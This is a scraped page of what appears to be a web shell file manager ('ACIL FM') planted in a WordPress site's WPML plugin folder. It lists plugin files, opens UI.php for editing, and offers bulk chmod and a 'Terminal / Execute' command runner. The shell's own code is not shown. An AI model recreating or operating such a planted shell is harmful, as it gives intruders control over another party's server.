ACIL FM
Dark
Refresh
Current DIR:
/home/mhhtmff/www/site BKP/wp-content/plugins/wpml-string-translation/inc/admin-texts
/
home
mhhtmff
www
site BKP
wp-content
plugins
wpml-string-translation
inc
admin-texts
Upload
Zip Selected
Delete Selected
Pilih semua
Nama
Ukuran
Permission
Aksi
Register.php
1.48 MB
chmod
View
DL
Edit
Rename
Delete
UI.php
1.27 MB
chmod
View
DL
Edit
Rename
Delete
wpml-admin-text-configuration.php
5.32 MB
chmod
View
DL
Edit
Rename
Delete
wpml-admin-text-functionality.class.php
3.9 MB
chmod
View
DL
Edit
Rename
Delete
wpml-admin-text-import.class.php
5.61 MB
chmod
View
DL
Edit
Rename
Delete
wpml-admin-texts.class.php
14.18 MB
chmod
View
DL
Edit
Rename
Delete
Edit file: /home/mhhtmff/www/site BKP/wp-content/plugins/wpml-string-translation/inc/admin-texts/UI.php
<?php namespace WPML\ST\AdminTexts; use WPML\Ajax\ST\AdminText\Register; use WPML\Collect\Support\Collection; use WPML\FP\Obj; use WPML\FP\Fns; use WPML\ST\WP\App\Resources; use function WPML\Container\make; use WPML\LIB\WP\Hooks as WPHooks; use function WPML\FP\pipe; class UI implements \IWPML_Backend_Action_Loader { // shouldShow :: Collection -> bool public static function shouldShow( Collection $data ) { if ( ! current_user_can( 'manage_options' ) ) { return false; } return $data->get( 'page' ) === WPML_ST_FOLDER . '/menu/string-translation.php' && (int) $data->get( 'trop' ) === 1; } public static function localize( Collection $model ) { $esc_value = Obj::over( Obj::lensProp( 'value' ), 'esc_js' ); return [ 'name' => 'wpml_admin_strings', 'data' => [ 'model' => $model->map( $esc_value )->toArray(), 'endpoint' => Register::class, ], ]; } /** * @return callable|null */ public function create() { if ( self::shouldShow( wpml_collect( $_GET ) ) ) { return function() { WPHooks::onAction( 'admin_enqueue_scripts' ) ->then( [ make( \WPML_Admin_Texts::class ), 'getModelForRender' ] ) ->then( [ self::class, 'localize' ] ) ->then( Resources::enqueueApp( 'admin-strings' ) ); }; } return null; } }
Simpan
Batal
Isi Zip:
Unzip
Create
Buat Folder
Buat File
Terminal / Execute
Run
Chmod Bulk
All File
All Folder
All File dan Folder
Apply